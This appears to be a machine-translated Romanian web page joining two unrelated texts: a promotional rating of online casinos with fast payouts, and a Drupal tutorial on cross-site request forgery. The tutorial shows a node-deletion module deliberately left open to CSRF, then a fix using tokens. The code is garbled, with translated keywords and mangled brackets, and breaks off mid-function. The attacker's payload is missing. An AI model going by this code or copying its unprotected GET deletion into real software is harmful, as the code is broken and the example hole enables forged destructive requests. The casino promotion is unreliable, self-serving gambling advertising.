O atenție deosebită este acordată vitezei plăților în cazinourile online. Unele cluburi oferă retragerea de fonduri către carduri bancareși portofele electronice în câteva ore, iar pentru clienții VIP cererile sunt procesate instantaneu. Alții folosesc procesarea manuală a cererilor în zilele lucrătoare conform unui program special, astfel încât plățile pot fi întârziate cu până la 1-3 zile lucrătoare de la data cererii. Pentru a salva utilizatorii de așteptări lungi, am creatrating cazinou cu retragere rapidă.

Este format exclusiv din acele instituții care iau în considerare cu promptitudine toate cererile și nu creează obstacole în calea primirii banilor. Se ține cont nu doar de viteza transferurilor, ci și de absența problemelor la solicitarea unor plăți mari sau transferuri de bani după câștigarea jackpot-ului, jackpot mare. Doar unitățile oneste pot garanta corectitudinea plăților și absența problemelor cu plățile.

De asemenea, se efectuează o analiză a sistemelor de plată disponibile pentru depozite și cereri de bani. Site-urile standard acceptă un număr minim de metode, dar cluburile progresiste analizează constant tendințele pentru a integra noi soluții tehnice.

Principalele sisteme de plată în cazinourile online:

  • carduri bancare MIR, MasterCard, Visa;
  • portofele electronice QIWI, Yandex, Webmoney, Neteller, Skrill și altele;
  • plăți mobile Beeline, MegaFon, MTS, TELE2;
  • Internet banking rusesc;
  • criptomonedele populare, inclusiv Bitcoin, Ethereum, Litecoin.

Serviciu de suport tehnic pentru utilizatori

Un factor important care a fost luat în considerare pentru a crearating al cazinourilor cinstite- disponibilitatea suportului pentru clienți și calitatea muncii sale. Unitățile de încredere se ocupă de propria bază de clienți, așa că organizează linii telefonice speciale, precum și chat-uri online pentru a răspunde prompt întrebărilor utilizatorilor și a-și rezolva problemele.

Pentru a analiza suportul, analiștii au folosit linii telefonice, chat-uri live și contacte de e-mail. ÎN timpuri diferite zi, angajații șantierului au primit diverse întrebări sau solicitări de rezolvat probleme tehnice. După aceasta, a fost evaluată calitatea muncii lor, care a inclus următorii factori:

  • viteza de raspuns;
  • dacă consultantul rezolvă problema și cât timp durează;
  • alfabetizarea răspunsurilor și disponibilitatea personalului de asistență vorbitor de limbă rusă.

Dacă cazinoul nu are operatori vorbitori de limbă rusă, vă recomandăm să utilizați traducătorul online de la Google pentru a traduce întrebările și răspunsurile consultanților.

Concluzii

Înainte de a vă înscrie într-un club online, trebuie să analizați fiabilitatea și transparența activității sale, precum și să verificați reputația și recenziile sale online. În schimb, vă sugerăm să utilizațirating al cazinourilor cinstite, compilat de jucători experimentați. Folosind propria experiență, au respins zeci de cluburi de jocuri suspecte, lăsând pe listă cele mai bune unități din 2020.

Articol evacuat de pe DrupalDance.com

Motivul pentru care am scris acest articol a fost descoperirea mea a unei vulnerabilități într-un modul destul de cunoscut. Deoarece, conform regulilor de detectare a vulnerabilităților, nu am încă dreptul să vorbesc despre detalii, vă voi spune despre vulnerabilitatea din schiță generală, precum și metode de combatere a acesteia.

Aşa, falsificare a cererii încrucișate(Engleză: Cross Site Request Forgery, sau pe scurt CSRF): ce este și cu ce se mănâncă.

CSRF este un tip de atac împotriva vizitatorilor site-ului web care exploatează defecte ale protocolului HTTP. Dacă o victimă vizitează un site web creat de un atacator, o solicitare este trimisă în secret în numele său către un alt server (de exemplu, către un server de sistem de plată), care efectuează o operațiune rău intenționată (de exemplu, transferul de bani în contul atacatorului) . Pentru a efectua acest atac, victima trebuie să fie autorizată pe serverul către care este trimisă cererea, iar această solicitare nu trebuie să necesite nicio confirmare din partea utilizatorului.

Acest tip de atac, contrar credinței populare, a apărut cu destul de mult timp în urmă: primele considerații teoretice au apărut în 1988, iar primele vulnerabilități au fost descoperite în 2000.

Una dintre utilizările CSRF este de a exploata XSS pasiv detectat pe un alt server. De asemenea, este posibil să trimiteți spam în numele victimei și să modificați orice setări conturi pe alte site-uri (de exemplu, întrebare secretă pentru a vă recupera parola).

Exemplu viu

De exemplu, trebuie să facem un modul mic care ar trebui să ștergă nodurile folosind Ajax. Acest lucru poate fi implementat cu un link de serviciu nod, când se face clic, o solicitare Ajax este trimisă către calea Drupal. La această cale este atașat un handler, care șterge nodul. Iată cum se face totul cu acest modul:

node_destroy.module

/** * Implementarea hook_menu(). Înregistrează apelul nostru în sistemul de meniu.

*/ function node_destroy_menu() ( $menu["node/%node/destroy"] = array("page_callback" => "node_destroy", "page_arguments" => array(1), "access_arguments" => array("administrare noduri"), "type" => MENU_CALLBACK,); return $menu; ) /** * Implementarea callback.

*/ function node_destroy($node) ( if ($node->nid) ( node_delete($node->nid); print("SUCCESS"); ) // în apelurile inverse pentru Ajax aproape întotdeauna trebuie să forțați scriptul să termina, // pentru a nu afișa designul site-ului împreună cu data exit() /** * Implementarea hook_link(); Adăugați linkul dvs. la linkurile de servicii ale nodului.

*/ function node_destroy_link($type, $node = NULL, $teaser = FALSE) ( switch ($type) (case "node": // daca aceasta functie este apelata, atunci afisam linkurile nodurilor, // ceea ce inseamna ca avem nevoie si de scripturi $path = drupal_get_path("module", "node_destroy"); => t("Destroy node"), "href" => "node/$node->nid/distruge", "attributes" => array("class" => "node_destroy_link"), return break; link-uri)

node_destroy.js

// În acest mod simplu, inițializați corect anumite acțiuni // în loc de $(document).ready(function() ( ... )) Drupal.behaviors.node_destroy = function(context) ( // Trecem prin toate link-urile noastre și atribuiți-le cererilor Ajax // Observați selectorul neobișnuit. (function())( href = $(this ).attr("href"); $.ajax(( tip: "GET", url: href, succes: function(result)( // SUCCESS returneaza meniul inapoi daca totul este în regulă dacă (rezultat != "SUCCESS ") ( alert("Eroare"); ) ) )); Și totul ar fi bine, dar într-o zi însorită, pe șantier vine un troll rău... Sau o situație mai realistă - un fost angajat amarat vine pe șantier și încearcă să-l spargă. Amintindu-și vechea experiență, încearcă să meargă la adresa http://site.ru/node/123/destroy, dar este respins deoarece nu mai are drepturi de ștergere a materialelor.Și apoi, într-un acces de creativitate distructivă, el creează un nod cu următorul conținut:

Resemnat de eșec, trolul părăsește site-ul. O zi mai târziu, administratorul site-ului observă acest nod de gunoi, îl introduce și îl șterge. Și revenind la lista de materiale, nu găsește un nod cu ID 123. Atacul a fost un succes. Perdea.

Pentru cei care nu au înțeles, când administratorul a intrat în nod, browserul lui s-a blocat și el folosind linkul din imagine. Dar aici existau deja suficiente drepturi de acces, iar nodul a fost șters cu succes, iar administratorul nici măcar nu a observat nimic.

Cum să evitați vulnerabilitățile CSRF?

Răspunsul este să folosiți referințe unice pentru acțiunile de modificare a datelor. Cum este posibil acest lucru? Drupal folosește o metodă de tokenizare a linkurilor. Aceasta înseamnă că un parametru unic este adăugat la linkul de acțiune activă, care este verificat atunci când acțiunea în sine este efectuată. În Drupal, puteți genera un astfel de parametru folosind funcția drupal_get_token(). Verificați -drupal_valid_token() . Tokenul este generat pe baza valorii furnizate, a sesiunii utilizator și cheie privată site-ul, care practic reduce la zero probabilitatea ca dăunătorul să genereze jetonul corect.

Să facem modificări la modulul nostru. Să începem prin a seta linkul corect:

Funcția node_destroy_link($type, $node = NULL, $teaser = FALSE) ( comutator ($tip) (case "nod": $path = drupal_get_path("modul", "node_destroy"); drupal_add_js($path ."/node_destroy .js"); $links["node_destroy"] = array("title" => t("Distruge nodul"), "href" => "nod/$node->nid/distruge", "atribute" => array("class" => "node_destroy_link"), // interogare - aceștia sunt toți parametrii GET, adică tot ce se află în link după semnul întrebării // adăugăm parametrul token "query" => "token=". ("node_destroy_". $node->nid));

După cum vă amintiți, trimitem o solicitare Ajax la adresa care este încorporată în link, așa că în callback trebuie doar să verificăm $_GET în mod standard.

Funcția node_destroy($node) ( if ($node->nid && isset($_GET["token"]) && drupal_valid_token($_GET["token"], "node_destroy_". $node->nid)) ( node_delete( $node->nid("SUCCES");